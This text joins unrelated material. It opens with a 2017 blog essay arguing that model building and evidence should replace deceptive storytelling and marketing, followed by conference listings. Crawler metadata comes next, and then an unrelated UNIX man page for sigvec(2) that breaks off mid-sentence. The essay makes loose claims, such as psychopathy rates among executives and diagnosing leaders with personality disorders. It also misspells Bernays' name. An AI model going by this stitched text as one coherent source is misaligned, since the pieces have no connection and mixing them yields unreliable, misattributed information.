Stories are appealing and hold persuasive potential because of their role in cultural transmission is the result of gene-culture co-evolution in tandem with the human capability for symbolic thought and spoken language. In human culture stories are involved in two functions:
1. Transmission of beliefs that are useful for the members of a group. Shared beliefs are the catalyst for improved collaboration.
2. Deception in order to protect or gain social status within a group or between groups. In the framework of contemporary competitive economic ideology deception is often referred to as marketing.
Storytelling thus is a key element of cultural evolution. Unfortunately cultural evolution fuelled by storytelling is a terribly slow form of learning for societies, even though storytelling is an impressively fast way for transmitting beliefs to other individuals. Not entirely surprisingly some studies find the prevalence of psychopathic traits in the upper echelons of the corporate world to be between 3% and 21%, much higher than the 1% prevalence in the general population.
Storytelling with the intent of deception enables individuals to reap short-term benefits for themselves to the longer-term detriment of society
The extent to which deceptive storytelling is tolerated is influenced by cultural norms, by the effectiveness of institutions and technologies entrusted with the enforcement of cultural norms, and the level of social inequality within a society. The work of the disciples of Edward Barneyse ensured that deceptive storytelling has become a highly respected and valued skill.
However, simply focusing on minimising deception is no fix for all the weaknesses of storytelling. When a society with highly effective norm enforcement insists on rules and behavioural patterns that create environmental or social externalities, some of which may be invisible from within the cultural framework, deception can become a vital tool for those who suffer as a result of the externalities.
Furthermore, even in the absence of intentional deception, the maintenance, transmission, and uncritical adoption of beliefs via storytelling can easily become problematic if beliefs held in relation to the physical and living world are simply wrong. For example some people and cultures continue to hold scientifically untenable beliefs about the causes of specific diseases.
All political and economic ideologies rely on storytelling
Human societies are complex adaptive systems that can’t be described by any simple model. More precisely, it is not possible to develop long-range and detailed predictive models for social and economic behaviour. However, in a similar way that extensive sensor networks and modern computing technology allows the development of useful short-range weather forecasts, it is possible to use social and economic data to look for externalities and attempts of corruption.
Nothing stands in the way of monitoring the results of significant social and economic changes with a level of diligence that is comparable to the diligence expected from researchers when conducting scientific experiments in the medical field. Of course the pharmaceutical industry also has a reputation for colourful storytelling, and the healthcare sector is not spared from ethical corruption and the tools of marketing. But at least the healthcare sector is heavily regulated, academic research is an integral part of the sector, and independent validation of results is part of the certification process for all new products and treatments.
One has to wonder why economic and social policies are not subject to a comparable level of independent oversight. The model of governance in modern democracies typically includes a separation of power between legislature, executive, and judiciary, but the question is whether effective separation of power can be maintained over decades and centuries.
Human societies and social structures are far from static. Concepts such as the nation state are only a couple of hundred years old and the lifespan of economic bubbles and the structures created by within such bubbles is measured in years rather than centuries. And yet, many people and institutions are incapable of considering possible economic or social arrangements that lie outside consumerism and the cultural norms that currently dominate within a particular nation state. Cultural inertia is beneficial for societies whenever the environment in which they are embedded is highly stable, but it becomes problematic when the environment is undergoing rapid change.
Historically a rapidly changing environment used to be associated with local wars or local natural disasters such as extended periods of draughts or earthquakes. The industrial revolution has significantly shifted the main triggers of rapid change:
1. Improvements in technology, hygiene and medicine have facilitated significant population growth and ushered in a new geological era – the anthropocene, human activity is changing the physical environment faster than ever before
2. Machine powered technology has enabled wars of unprecedented scale, speed, and levels of destructiveness
3. The paradigm of growth based economics fuelled by interest bearing debt and aggressive marketing dominates on all continents in most societies, and facilitates global economic bubbles
4. Carbon emissions and other physical externalities of modern economic activity have no physical boundaries
Given this context it is extremely tempting for professional politicians within government and corporations to subscribe to the elitist logic of Edward Barneyse and to exploit storytelling for local or personal gains. An alien observer of human societies would probably be amazed that some humans (and large organisations) are given a platform for virtually unlimited storytelling at a scale that affects billions and hundreds of millions people, and that delusional and misleading stories are let lose on the population of a species that is the local champion of cultural transmission on this planet.
Within growth based economics the effectiveness of marketing can never be good enough. Desperate corporations are hoping machine learning algorithms can take storytelling to yet another level. High frequency trading is one example of “successful” automated marketing, where algorithms try to trick each other into believing stories that are beyond human comprehension.
End of story?
If we continue to believe that the world is shaped exclusively by human delusions, then the human story may come to a fairly unspectacular end rather soon. It also won’t help us if we focus on building technologies that provide even more powerful delusions.
If there is anything that has led to significant improvements in human well-being and life expectancy in the last thousand years it would undoubtedly have to be model building and the scientific method. The power tools of systematic experimentation and modelling facilitated much of what we call progress but they also facilitated dangerous social games at a planetary scale.
gamification
Just as medical science no longer relies on unsubstantiated stories, the stories that we tell each other in business, government, and academic administration need to be subjected to critical analysis, and the public needs to be made aware of the evidence (or lack thereof) that underpins the claims of politicians and executives in the corporate world, so that experiments are clearly identified, and most importantly, that experiments are carefully monitored and subjected to independent review before being sold as solutions.
In this context lessons can be learned from the fast moving world of digital technology. On the positive side the software development community is acutely aware of the need to conduct experiments, on the negative side, outside a few life critical industries, the lack of rigour when conducting experiments in the development and deployment of new software solutions is embarrassing. In the software development community conducting multiple independent experiments is generally considered a waste of time, and the interests of financial investors determine the kinds of “solutions” that receive funding:
All human artefacts are technology. But beware of anybody who uses this term.
Like “maturity” and “reality” and “progress”, the word “technology”
has an agenda for your behaviour: usually what is being referred to as
“technology” is something that somebody wants you to submit to.
“Technology” often implicitly refers to something you are expected to turn over to “the guys who understand it.” This is actually almost always a political move. Somebody wants you to give certain things to them to design and decide.
Perhaps you should, but perhaps not.
– Ted Nelson, a pioneer of information technology,
philosopher, and sociologist who coined the terms hypertext
and hypermedia in 1963.
social-behaviour
The software industry is an interesting economic subsystem for observing human social behaviour at large scale. Today this sector is interwoven with virtually all other economic subsystems and even with the most common tools that we use for communicating with each other.
David Graeber has analysed the phenomenon of “bullshit jobs” in detail.
“In the year 1930, John Maynard Keynes predicted that technology would have advanced sufficiently by century’s end that countries like Great Britain or the United States would achieve a 15-hour work week. There’s every reason to believe he was right. In technological terms, we are quite capable of this. And yet it didn’t happen. Instead, technology has been marshalled, if anything, to figure out ways to make us all work more. In order to achieve this, jobs have had to be created that are, effectively, pointless. Huge swathes of people, in Europe and North America in particular, spend their entire working lives performing tasks they secretly believe do not really need to be performed. The moral and spiritual damage that comes from this situation is profound. It is a scar across our collective soul. Yet virtually no one talks about it. …”
Silicon Valley innovation pop-culture?
Students of software engineering and computer science are often attracted by the idea of “innovation” and by the prospect of exciting creative work, contributing to the development of new services and products. The typical reality of software development has very little if anything to do with innovation and much more with building tools that support David Graeber’s “bullshit jobs” and Edward Bernayse’s elitist “utopia” of conscious manipulation of the habits and opinions of the masses by a small number of “leaders” suffering from narcissistic personality disorder.
pop-culture.jpg
The culture within the software development community is shaped much less by mathematics and scientific knowledge about the physical world than by the psychology of persuasion – and an anaemic conception of innovation based on social popularity and design principles that encourage planned obsolescence. A few years ago Alan Kay, a pioneer of object-oriented programming and windowing graphical user interface design observed:
It used to be the case that people were admonished to “not re-invent the wheel”. We now live in an age that spends a lot of time “reinventing the flat tire!”
The flat tires come from the reinventors often not being in the same league as the original inventors. This is a symptom of a “pop culture” where identity and participation are much more important than progress. … In the US we are now embedded in a pop culture that has progressed far enough to seriously hurt places that hold “developed cultures”. This pervasiveness makes it hard to see anything else, and certainly makes it difficult for those who care what others think to put much value on anything but pop culture norms.
Mainstream software development practices are geared towards dealing with the characteristics of big ball of mud architectures and the reality of the curse of software maintenance.
Do we need a better language for model building?
Making model building accessible to a wider audience may require developing a cognitively simple visual language for articulating resource and information flows in living and economic systems in a format that is not influenced by any particular economic ideology.
Many of the languages of mathematics already make use of visual concept graphs. Digital devices open up the possibility of highly visual languages and user interfaces that enable everyone to create concept graphs that are formal in a mathematical sense, understandable for humans, and easily processable by software tools. The only formal foundations needed implementing such a visual language system are axioms from model theory, category theory, and domain theory.
In terms of usability, a formal software-mediated visual language system that takes into consideration human cognitive limits has the potential to:
1. Improve the speed and quality of knowledge transfer between human domain experts
2. Improve the speed and quality of knowledge transfer between human domain experts and software tools
3. Facilitate innovative approaches to extracting human understandable semantics from informal textual artefacts, in a format that is easily processable by software tools
4. Facilitate innovative approaches to unsupervised machine learning that deliver results in a format that is compatible with familiar representations used by human domain experts, enabling the construction of knowledge repositories capable of receiving inputs from:
• human domain experts
• informal textual sources of human knowledge
• machine learning systems
All scientists, engineers, and technologists are familiar with a language that is more expressive and less ambiguous than spoken and written language. The language of concept graphs with highly domain and context-specific iconography regularly appears on white boards whenever two or more people from different disciplines engage in collaborative problem solving. Such languages can easily be formalised mathematically and can be used in conjunction with rigorous validation by example / experiments.
Model building and digital correlation maps can go hand in hand
Machine learning need not result in opaque systems that are as difficult to understand as humans, and a formal visual language may represent the biggest breakthrough for improving the understanding between humans since the development of spoken language.
… And storytelling and social transmission need not result in a never ending sequence of psychopathic social games if we get into the habit of explicitly tagging all stories with the available supporting evidence, so that untested ideas and attempts of corruption become easier to identify.
semantic lensIn all domains where decisions and actions may have significant impact on others and on the environment we live in, adopting a more autistic mindset in relation to human stories may improve human decision making. In the Asch conformity experiment, autists were found to resist changing their spontaneous judgement to an array of graphic lines despite social pressure to change by conforming to the erroneous judgement of an authoritative confederate.
Mathematics – the language of explanation and validation
Paul Lockhart describes mathematics as the art of explanation. He is correct. Mathematical proofs are the one type of storytelling that is committed to being entirely open regarding all assumptions and to the systematically exploring all the possible implications of specific sets of assumptions. Foundational mathematical assumptions are usually refereed to as axioms.
Formal proofs are parametrised formal stories (sequences of reasoning steps) that explore the possibilities of entire families of stories and their implications. Mathematical beauty is achieved when a complex family of stories can be described by a small elegant formal statement. Complexity does not melt away accidentally. It is distilled down to the its essence by finding a “natural language” (or “model”) for the problem space represented by a family of formal stories.
A useful model encapsulates all relevant commonalities of the problem space – it provides an explanation that is understandable for anyone who is able to follow the reasoning steps leading to the model.
The more parameters and relationships between parameters come into play, the more difficult it typically is to uncover cognitively simple models that shed new light onto a particular problem space and the underlying assumptions. If a particular set of formal assumptions is found to have a correspondence in the physical or living world, the potential for positive and negative technological innovation can be profound.
Whether the positive or negative potential prevails is determined by the motivations, political moves, and stories told by those who claim credit for innovation.
Any hope of progress beyond stories?
From within a large organisation culture is often perceived as being static or very slow moving locally, and changes in the environment are being perceived as being dynamic and fast moving. This is an illusion. It is easy to lose sight of the bigger picture.
Outside the context of “work” the people within a large organisation are part of many other groups and part of the rapidly evolving “external” context. The larger an organisation, the greater the inertia of the internal organisational culture, and the faster this culture disconnects from the external cultural identities of employees, customers, and suppliers.
The resulting cognitive dissonance manifests itself in terms of low levels of employee engagement, high levels of mental illness, and the increasingly short life expectancy of large corporations. Group identities and concepts such as intelligence and success are cultural constructs that are subject to evolutionary pressure and phase transitions.
Marketing may well become a taboo in the not-too-distant future
Over the next few weeks, to my knowledge, there are at least four dedicated conferences on the topics of redefining intelligence, new economics, and cultural evolution.
knowledgesynthesis
Conference on Interdisciplinary Innovation and Collaboration
Melbourne, Australia – 2 September 2017
Auckland, New Zealand – 16 September 2017
These events are part of the quarterly CIIC unconference series, addressing challenges that go beyond the established framework of research in industry, government and academia. The workshops in September will build on the results from earlier workshops to explore the essence of humanity and how to construct organisations that perform a valuable function in the living world.
The historic record of societies and large organisations being aware of the limitations of their culture is highly unimpressive. Redefining intelligence is our chance to break out of self-destructive patterns of behaviour. It is a first step towards a better understanding of the positive and negative human potential within the ecological context of the planet.
More information on CIIC and the theme for the upcoming unconference:
Registration: https://ciic.s23m.com/registration/
Thanks to Pete Rive and Arthur Shelley at AUT and RMIT for providing CIIC with superb venues!
New Economy Conference
Brisbane, Australia – 1-3 September 2017
Building on the inaugural 2016 conference held in Sydney, the 2017 gathering invites people to come together to share stories of success, address challenges and join the broader movement so we can continue working together to build a ‘new’ economic system. The 2017 New Economy Conference will bring together hundreds of people and organisations to launch powerful new collective strategies for creating positive social and economic change, to achieve long term, liveable economies that fit within the productive capacity of a healthy environment.
More information on NENA and the Building the New Economy conference:
Registration: https://www.trybooking.com/book/event?eid=281640
Thanks to Donnie Maclurcan and Tirrania Suhood for making me aware of this event!
Inaugural Cultural Evolution Society Conference
Jena, Germany – 13 – 15 September 2017
The Cultural Evolution Society supports evolutionary approaches to culture in humans and other animals. The society welcomes all who share this fundamental interest, including in the pursuit of basic research, teaching, or applied work. We are committed to fostering an integrative interdisciplinary community spanning traditional academic boundaries from across the social, psychological, and biological sciences, and including archaeology, computer science, economics, history, linguistics, mathematics, philosophy and religious studies. We also welcome practitioners from applied fields such as medicine and public health, psychiatry, community development, international relations, the agricultural sciences, and the sciences of past and present environmental change.
More information on CES and the related conference:
Registration: https://mi.conventus.de/online/imces-2017.do
Thanks to Joe Brewer and his team for coordinating this unique event!
Advertisements
One thought on “Are you a model builder or a story teller?
1. Pingback: Addiction and story withdrawal | Interdisciplinary Innovation and Collaboration
Leave a Reply
Fill in your details below or click an icon to log in:
WordPress.com Logo
You are commenting using your WordPress.com account. Log Out / Change )
Twitter picture
You are commenting using your Twitter account. Log Out / Change )
Facebook photo
You are commenting using your Facebook account. Log Out / Change )
Google+ photo
You are commenting using your Google+ account. Log Out / Change )
Connecting to %s
|
{
"url": "https://jornbettin.com/2017/08/22/are-you-a-model-builder-or-a-story-teller/",
"source_domain": "jornbettin.com",
"snapshot_id": "crawl=CC-MAIN-2017-39",
"warc_metadata": {
"Content-Length": "100383",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YT5EPF6UIX35CP5AXTJ6FTAW3ESCOPAW",
"WARC-Concurrent-To": "<urn:uuid:57c1d96a-a6a6-4168-90eb-4f14f395c705>",
"WARC-Date": "2017-09-24T08:43:27Z",
"WARC-IP-Address": "192.0.78.25",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:VEFRAEGSBBSLVVOCC7KXBSJY7KG4HJPN",
"WARC-Record-ID": "<urn:uuid:ba07415a-f9e2-4d0f-8b2d-48ff87093506>",
"WARC-Target-URI": "https://jornbettin.com/2017/08/22/are-you-a-model-builder-or-a-story-teller/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a8ca9e4f-df57-4587-9db9-4feb13b5e5b2>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-236-162-53.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
43,
44,
245,
246,
610,
611,
617,
618,
949,
950,
987,
988,
1213,
1214,
1518,
1519,
1601,
1602,
2002,
2003,
2400,
2401,
2649,
2650,
3142,
3143,
3505,
3506,
3607,
3699,
3916,
4123,
4124,
4390,
4391,
4474,
4475,
4870,
4871,
5198,
5199,
5833,
5834,
6385,
6386,
6805,
6806,
7173,
7174,
7210,
7211,
7219,
7220,
7378,
7379,
8095,
8096,
8434,
8435,
9038,
9039,
9098,
9099,
9171,
9172,
9288,
9289,
9781,
9782,
10058,
10059,
10192,
10391,
10392,
10873,
10874,
11019,
11020,
11395,
11396,
11798,
11799,
12176,
12177,
12236,
12237,
12704,
12705,
13351,
13352,
13705,
13706,
14378,
14379,
14628,
14629,
14862,
14972,
15161,
15272,
15273,
15875,
15876,
16245,
16246,
16260,
16261,
16519,
16520,
16896,
16897,
16910,
16911,
17440,
17441,
18046,
18047,
18331,
18332,
18604,
18741,
18742,
18759,
18760,
19032,
19033,
19105,
19106,
19955,
19956,
19995,
19996,
20567,
20568,
20584,
20585,
21012,
21013,
21171,
21172,
21699,
21700,
21881,
21882,
21931,
21932,
22196,
22197,
22664,
22665,
22813,
22814,
22900,
23005,
23178,
23447,
23474,
23524,
23555,
23556,
24057,
24058,
24122,
24123,
24378,
24379,
24670,
24671,
25135,
25136,
25193,
25194,
25564,
25565,
26040,
26041,
26244,
26245,
26665,
26666,
26828,
26829,
26866,
26867,
27126,
27127,
27489,
27490,
27838,
27839,
27903,
27904,
28073,
28074,
28093,
28094,
28155,
28156,
28196,
28238,
28239,
28617,
28618,
28981,
28982,
29052,
29053,
29103,
29104,
29198,
29199,
29222,
29223,
29264,
29265,
29813,
29814,
29884,
29885,
29948,
29949,
30031,
30032,
30080,
30081,
30120,
30121,
30893,
30894,
30946,
30947,
31006,
31007,
31077,
31078,
31093,
31094,
31153,
31154,
31249,
31250,
31264,
31265,
31320,
31321,
31340,
31341,
31413,
31414,
31430,
31431,
31497,
31498,
31513,
31514,
31581,
31582,
31596,
31597,
31663,
31664
],
"line_end_idx": [
43,
44,
245,
246,
610,
611,
617,
618,
949,
950,
987,
988,
1213,
1214,
1518,
1519,
1601,
1602,
2002,
2003,
2400,
2401,
2649,
2650,
3142,
3143,
3505,
3506,
3607,
3699,
3916,
4123,
4124,
4390,
4391,
4474,
4475,
4870,
4871,
5198,
5199,
5833,
5834,
6385,
6386,
6805,
6806,
7173,
7174,
7210,
7211,
7219,
7220,
7378,
7379,
8095,
8096,
8434,
8435,
9038,
9039,
9098,
9099,
9171,
9172,
9288,
9289,
9781,
9782,
10058,
10059,
10192,
10391,
10392,
10873,
10874,
11019,
11020,
11395,
11396,
11798,
11799,
12176,
12177,
12236,
12237,
12704,
12705,
13351,
13352,
13705,
13706,
14378,
14379,
14628,
14629,
14862,
14972,
15161,
15272,
15273,
15875,
15876,
16245,
16246,
16260,
16261,
16519,
16520,
16896,
16897,
16910,
16911,
17440,
17441,
18046,
18047,
18331,
18332,
18604,
18741,
18742,
18759,
18760,
19032,
19033,
19105,
19106,
19955,
19956,
19995,
19996,
20567,
20568,
20584,
20585,
21012,
21013,
21171,
21172,
21699,
21700,
21881,
21882,
21931,
21932,
22196,
22197,
22664,
22665,
22813,
22814,
22900,
23005,
23178,
23447,
23474,
23524,
23555,
23556,
24057,
24058,
24122,
24123,
24378,
24379,
24670,
24671,
25135,
25136,
25193,
25194,
25564,
25565,
26040,
26041,
26244,
26245,
26665,
26666,
26828,
26829,
26866,
26867,
27126,
27127,
27489,
27490,
27838,
27839,
27903,
27904,
28073,
28074,
28093,
28094,
28155,
28156,
28196,
28238,
28239,
28617,
28618,
28981,
28982,
29052,
29053,
29103,
29104,
29198,
29199,
29222,
29223,
29264,
29265,
29813,
29814,
29884,
29885,
29948,
29949,
30031,
30032,
30080,
30081,
30120,
30121,
30893,
30894,
30946,
30947,
31006,
31007,
31077,
31078,
31093,
31094,
31153,
31154,
31249,
31250,
31264,
31265,
31320,
31321,
31340,
31341,
31413,
31414,
31430,
31431,
31497,
31498,
31513,
31514,
31581,
31582,
31596,
31597,
31663,
31664,
31680
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 31680,
"ccnet_original_nlines": 261,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4206717312335968,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.002041199943050742,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1083689033985138,
"rps_doc_frac_unique_words": 0.31973356008529663,
"rps_doc_mean_word_length": 5.4608659744262695,
"rps_doc_num_sentences": 203,
"rps_doc_symbol_to_word_ratio": 0.0009278199868276715,
"rps_doc_unigram_entropy": 6.141133785247803,
"rps_doc_word_count": 4804,
"rps_doc_frac_chars_dupe_10grams": 0.0052603501826524734,
"rps_doc_frac_chars_dupe_5grams": 0.02717847004532814,
"rps_doc_frac_chars_dupe_6grams": 0.017000839114189148,
"rps_doc_frac_chars_dupe_7grams": 0.009453379549086094,
"rps_doc_frac_chars_dupe_8grams": 0.007547460030764341,
"rps_doc_frac_chars_dupe_9grams": 0.0052603501826524734,
"rps_doc_frac_chars_top_2gram": 0.00667073018848896,
"rps_doc_frac_chars_top_3gram": 0.0012197899632155895,
"rps_doc_frac_chars_top_4gram": 0.0032019501086324453,
"rps_doc_books_importance": -2275.5556640625,
"rps_doc_books_importance_length_correction": -2275.5556640625,
"rps_doc_openwebtext_importance": -1502.0506591796875,
"rps_doc_openwebtext_importance_length_correction": -1502.0506591796875,
"rps_doc_wikipedia_importance": -1035.8809814453125,
"rps_doc_wikipedia_importance_length_correction": -1035.8809814453125
},
"fasttext": {
"dclm": 0.19820380210876465,
"english": 0.9467023015022278,
"fineweb_edu_approx": 2.7406816482543945,
"eai_general_math": 0.2681758999824524,
"eai_open_web_math": 0.20248323678970337,
"eai_web_code": 0.01849221996963024
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.019",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "302.2",
"labels": {
"level_1": "Social sciences",
"level_2": "",
"level_3": "Social psychology"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "5",
"label": "Evaluate"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
8,741,838,535,648,483,000 |
SIGVEC(2) UNIX Programmer's Manual SIGVEC(2)
NAME
sigvec - software signal facilities
SYNOPSIS
#include <signal.h>
struct sigvec {
int (*sv_handler)();
long sv_mask;
int sv_flags;
};
sigvec(sig, vec, ovec)
int sig;
struct sigvec *vec, *ovec;
DESCRIPTION
This interface has been made obsolete sigaction(2).
The system defines a set of signals that may be delivered to
a process. Signal delivery resembles the occurence of a
hardware interrupt: the signal is blocked from further
occurrence, the current process context is saved, and a new
one is built. A process may specify a handler to which a
signal is delivered, or specify that a signal is to be
blocked or ignored. A process may also specify that a
default action is to be taken by the system when a signal
occurs. Normally, signal handlers execute on the current
stack of the process. This may be changed, on a per-handler
basis, so that signals are taken on a special signal stack.
All signals have the same priority. Signal routines execute
with the signal that caused their invocation blocked, but
other signals may yet occur. A global signal mask defines
the set of signals currently blocked from delivery to a pro-
cess. The signal mask for a process is initialized from
that of its parent (normally 0). It may be changed with a
sigblock(2) or sigsetmask(2) call, or when a signal is
delivered to the process.
When a signal condition arises for a process, the signal is
added to a set of signals pending for the process. If the
signal is not currently blocked by the process then it is
delivered to the process. When a signal is delivered, the
current state of the process is saved, a new signal mask is
calculated (as described below), and the signal handler is
invoked. The call to the handler is arranged so that if the
signal handling routine returns normally the process will
resume execution in the context from before the signal's
delivery. If the process wishes to resume in a different
context, then it must arrange to restore the previous con-
text itself.
Printed 11/26/99 September 3, 1997 1
SIGVEC(2) UNIX Programmer's Manual SIGVEC(2)
When a signal is delivered to a process a new signal mask is
installed for the duration of the process' signal handler
(or until a sigblock or sigsetmask call is made). This mask
is formed by taking the current signal mask, adding the sig-
nal to be delivered, and or'ing in the signal mask associ-
ated with the handler to be invoked.
Sigvec assigns a handler for a specific signal. If vec is
non-zero, it specifies a handler routine and mask to be used
when delivering the specified signal. Further, if the
SV_ONSTACK bit is set in sv_flags, the system will deliver
the signal to the process on a signal stack, specified with
sigstack(2). If ovec is non-zero, the previous handling
information for the signal is returned to the user.
The following is a list of all signals with names as in the
include file <signal.h>:
SIGHUP 1 hangup
SIGINT 2 interrupt
SIGQUIT 3* quit
SIGILL 4* illegal instruction
SIGTRAP 5* trace trap
SIGIOT 6* IOT instruction
SIGEMT 7* EMT instruction
SIGFPE 8* floating point exception
SIGKILL 9 kill (cannot be caught, blocked, or ignored)
SIGBUS 10* bus error
SIGSEGV 11* segmentation violation
SIGSYS 12* bad argument to system call
SIGPIPE 13 write on a pipe with no one to read it
SIGALRM 14 alarm clock
SIGTERM 15 software termination signal
SIGURG 16@ urgent condition present on socket
SIGSTOP 17'|+'stop (cannot be caught, blocked, or ignored)
SIGTSTP 18'|+'stop signal generated from keyboard
SIGCONT 19@ continue after stop (cannot be blocked)
SIGCHLD 20@ child status has changed
SIGTTIN 21'|+'background read attempted from control terminal
SIGTTOU 22'|+'background write attempted to control terminal
SIGIO 23@ i/o is possible on a descriptor (see fcntl(2))
SIGXCPU 24 cpu time limit exceeded (see setrlimit(2))
SIGXFSZ 25 file size limit exceeded (see setrlimit(2))
SIGVTALRM 26 virtual time alarm (see setitimer(2))
SIGPROF 27 profiling timer alarm (see setitimer(2))
SIGWINCH 28@ window size change
SIGUSR1 30 user defined signal 1
SIGUSR2 31 user defined signal 2
The starred signals in the list above cause a core image if
not caught or ignored.
Printed 11/26/99 September 3, 1997 2
SIGVEC(2) UNIX Programmer's Manual SIGVEC(2)
Once a signal handler is installed, it remains installed
until another sigvec call is made, or an execve(2) is per-
formed. The default action for a signal may be reinstated
by setting sv_handler to SIG_DFL; this default is termina-
tion (with a core image for starred signals) except for sig-
nals marked with @ or '|+'. Signals marked with @ are dis-
carded if the action is SIG_DFL; signals marked with '|+'
cause the process to stop. If sv_handler is SIG_IGN the
signal is subsequently ignored, and pending instances of the
signal are discarded.
If a caught signal occurs during certain system calls, the
call is normally restarted. The call can be forced to ter-
minate prematurely with an EINTR error return by setting the
SV_INTERRUPT bit in sv_flags. The affected system calls are
read(2) or write(2) on a slow device (such as a terminal;
but not a file) and during a wait(2).
After a fork(2) or vfork(2) the child inherits all signals,
the signal mask, the signal stack, and the restart/interrupt
flags.
Execve(2) resets all caught signals to default action and
resets all signals to be caught on the user stack. Ignored
signals remain ignored; the signal mask remains the same;
signals that interrupt system calls continue to do so.
NOTES
The mask specified in vec is not allowed to block SIGKILL,
SIGSTOP, or SIGCONT. This is done silently by the system.
The SV_INTERRUPT flag is not available in 4.2BSD, hence it
should not be used if backward compatibility is needed.
RETURN VALUE
A 0 value indicated that the call succeeded. A -1 return
value indicates an error occurred and errno is set to indi-
cated the reason.
ERRORS
Sigvec will fail and no new signal handler will be installed
if one of the following occurs:
[EFAULT] Either vec or ovec points to memory that is
not a valid part of the process address
space.
[EINVAL] Sig is not a valid signal number.
[EINVAL] An attempt is made to ignore or supply a
handler for SIGKILL or SIGSTOP.
Printed 11/26/99 September 3, 1997 3
SIGVEC(2) UNIX Programmer's Manual SIGVEC(2)
[EINVAL] An attempt is made to ignore SIGCONT (by
default SIGCONT is ignored).
SEE ALSO
kill(1), ptrace(2), kill(2), sigblock(2), sigsetmask(2),
sigpause(2), sigstack(2), sigvec(2), setjmp(3), siginter-
rupt(3), tty(4)
NOTES (VAX-11)
The handler routine can be declared:
handler(sig, code, scp)
int sig, code;
struct sigcontext *scp;
Here sig is the signal number, into which the hardware
faults and traps are mapped as defined below. Code is a
parameter that is either a constant as given below or, for
compatibility mode faults, the code provided by the hardware
(Compatibility mode faults are distinguished from the other
SIGILL traps by having PSL_CM set in the psl). Scp is a
pointer to the sigcontext structure (defined in <signal.h>),
used to restore the context from before the signal.
The following defines the mapping of hardware traps to sig-
nals and codes. All of these symbols are defined in
<signal.h>:
Hardware condition Signal Code
Arithmetic traps:
Integer overflow SIGFPE FPE_INTOVF_TRAP
Integer division by zero SIGFPE FPE_INTDIV_TRAP
Floating overflow trap SIGFPE FPE_FLTOVF_TRAP
Floating/decimal division by zero SIGFPE FPE_FLTDIV_TRAP
Floating underflow trap SIGFPE FPE_FLTUND_TRAP
Decimal overflow trap SIGFPE FPE_DECOVF_TRAP
Subscript-range SIGFPE FPE_SUBRNG_TRAP
Floating overflow fault SIGFPE FPE_FLTOVF_FAULT
Floating divide by zero fault SIGFPE FPE_FLTDIV_FAULT
Floating underflow fault SIGFPE FPE_FLTUND_FAULT
Length access control SIGSEGV
Protection violation SIGBUS
Reserved instruction SIGILL ILL_RESAD_FAULT
Customer-reserved instr. SIGEMT
Reserved operand SIGILL ILL_PRIVIN_FAULT
Reserved addressing SIGILL ILL_RESOP_FAULT
Trace pending SIGTRAP
Bpt instruction SIGTRAP
Compatibility-mode SIGILL hardware supplied code
Chme SIGSEGV
Chms SIGSEGV
Printed 11/26/99 September 3, 1997 4
SIGVEC(2) UNIX Programmer's Manual SIGVEC(2)
Chmu SIGSEGV
NOTES (PDP-11)
The handler routine can be declared:
handler(sig, code, scp)
int sig, code;
struct sigcontext *scp;
Here sig is the signal number, into which the hardware
faults and traps are mapped as defined below. Code is a
parameter that is a constant as given below. Scp is a
pointer to the sigcontext structure (defined in <signal.h>),
used to restore the context from before the signal.
The following defines the mapping of hardware traps to sig-
nals and codes. All of these symbols are defined in
<signal.h>:
Hardware condition Signal Code
Arithmetic traps:
Floating overflow trap SIGFPE FPE_FLTOVF_TRAP
Floating/decimal division by zero SIGFPE FPE_FLTDIV_TRAP
Floating underflow trap SIGFPE FPE_FLTUND_TRAP
Decimal overflow trap SIGFPE FPE_DECOVF_TRAP
Illegal return code SIGFPE FPE_CRAZY
Bad op code SIGFPE FPE_OPCODE_TRAP
Bad operand SIGFPE FPE_OPERAND_TRAP
Maintenance trap SIGFPE FPE_MAINT_TRAP
Length access control SIGSEGV
Protection violation (odd address) SIGBUS
Reserved instruction SIGILL ILL_RESAD_FAULT
Customer-reserved instr. SIGEMT
Trace pending SIGTRAP
Bpt instruction SIGTRAP
The handler routine must save any registers it uses and
restore them before returning. On the PDP-11, the kernel
saves r0 and r1 before calling the handler routine, but
expect the handler to save any other registers it uses. The
